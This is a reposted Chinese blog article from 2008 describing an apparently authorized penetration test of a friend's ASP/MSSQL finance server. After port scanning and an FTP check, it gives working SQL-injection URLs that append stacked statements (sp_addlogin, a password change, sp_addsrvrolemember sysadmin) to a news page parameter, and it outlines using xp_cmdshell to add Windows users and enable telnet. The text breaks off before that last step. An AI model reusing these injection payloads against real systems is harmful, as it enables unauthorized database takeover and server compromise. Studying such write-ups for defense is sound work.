从一次渗透测试谈起

2008-04-09 04:10:46来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折


一 渗透的具体过程
朋友做了一个财务部门的项目,今天叫我来做免费的渗透测试,下面来谈谈这
次的过程和体会。

先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称
打过了sp3,asp iis mssql 。首先扫描了一下子端口,呵呵,开始的一般步骤。

端口21开放: FTP (Control)
端口80开放: HTTP, World Wide Web
端口135开放: Location Service
端口139开放: NETBIOS Session Service
端口1433开放: Microsoft-SQL-Server

开了几个很经典的端口,应该说个个都很经典啊。既然确定好了端口,那就有
针对性地扫描一下看看开了什么共享么,faint,老兄把ipc$,admin$,c$,d$都
给关掉了,扫描nt的弱口令就没有实际意义了。然后呢就看看iis是否有什么
漏洞,用x_scan扫了一下,没有发现什么可以利用的漏洞。然后就来看看1433
的sql是否有什么漏洞,首先扫了一下弱口令,没有,先还是不暴力破解吧,一
般都是先礼后兵的,暴力的就留到最后了。最近sql server 有个Resolution服
务远程栈缓冲区溢出漏洞,用这个来看看,试了一下子不行。原因可能是因为
我用的exploit对sp3不适用或者是已经做了安全设置。不过这问题还是先记录
下来了。
再来看看ftp怎么样,
C:\Documents and Settings\Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失败了。不支持匿名登陆的,不过这里也是一个安全隐患,可以通过暴力破解
ftp用户的密码来破解nt用户的密码。也记录下来了。好了,既然用了asp sql
那就来看看asp编程方面有没有可以利用的东西了。到主页上面一看,有个新闻
发布系统。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加个分号测试一下,url现在如下:
http://1.1.1.1/news/default.asp?cataid=98986;
依然正常显示,并且和前面显示完全一样。这说明了没有过滤分号,大好消息。
再测试一下子单引号。现
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986‘
页面正常显示,不过不能够显示新闻列表。提示找不到资料。这说明单引号也没
有过滤。好了,希望大大的有了。估计xp_cmdshell也可以了,其他的存储过程
也都可以用了。不过这里这台服务器是关掉了所有的默认的共享。

想想有什么好办法能够获得shell呢。仔细考虑后我想到了两种方法,基本上是
大同小异。

方法一:
利用xp_cmdshell存储过程来添加windows用户,并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二:
利用sp_addlogin添加sql用户,同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下:


就往SQL Server里面添加一个用户吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,变成:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
页面依然正常显示,不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗,其实就是代表空格符的。上面也就相当于在查询分
析器里面执行:
use master;
dbo.sp_addlogin user;注:此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin user;
都是一样的。
现在我们已经添加了一个用户了,密码现在为空,这里就不管这么多了,反正也是
一个过渡的过程,就不加密码了。
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,
user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题,现在权限还是不够高,那么就开始提升权限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色,具体如下:数据
库创建者(DBCREATOR),磁盘管理员(DISKADMIN),进程管理员(PROCESSADMIN),
安全管理员(SECURITYADMIN),服务器管理员(SEVERADMIN)安装管理员(SETUPADMIN)
,系统管理员(SYSADMIN),大容量管理员(BULKADMIN)当然最高权限的是系
统管理员(SYSADMIN),默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add


好了,我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:使用IPSec保护网络通信

下一篇:ASP网络安全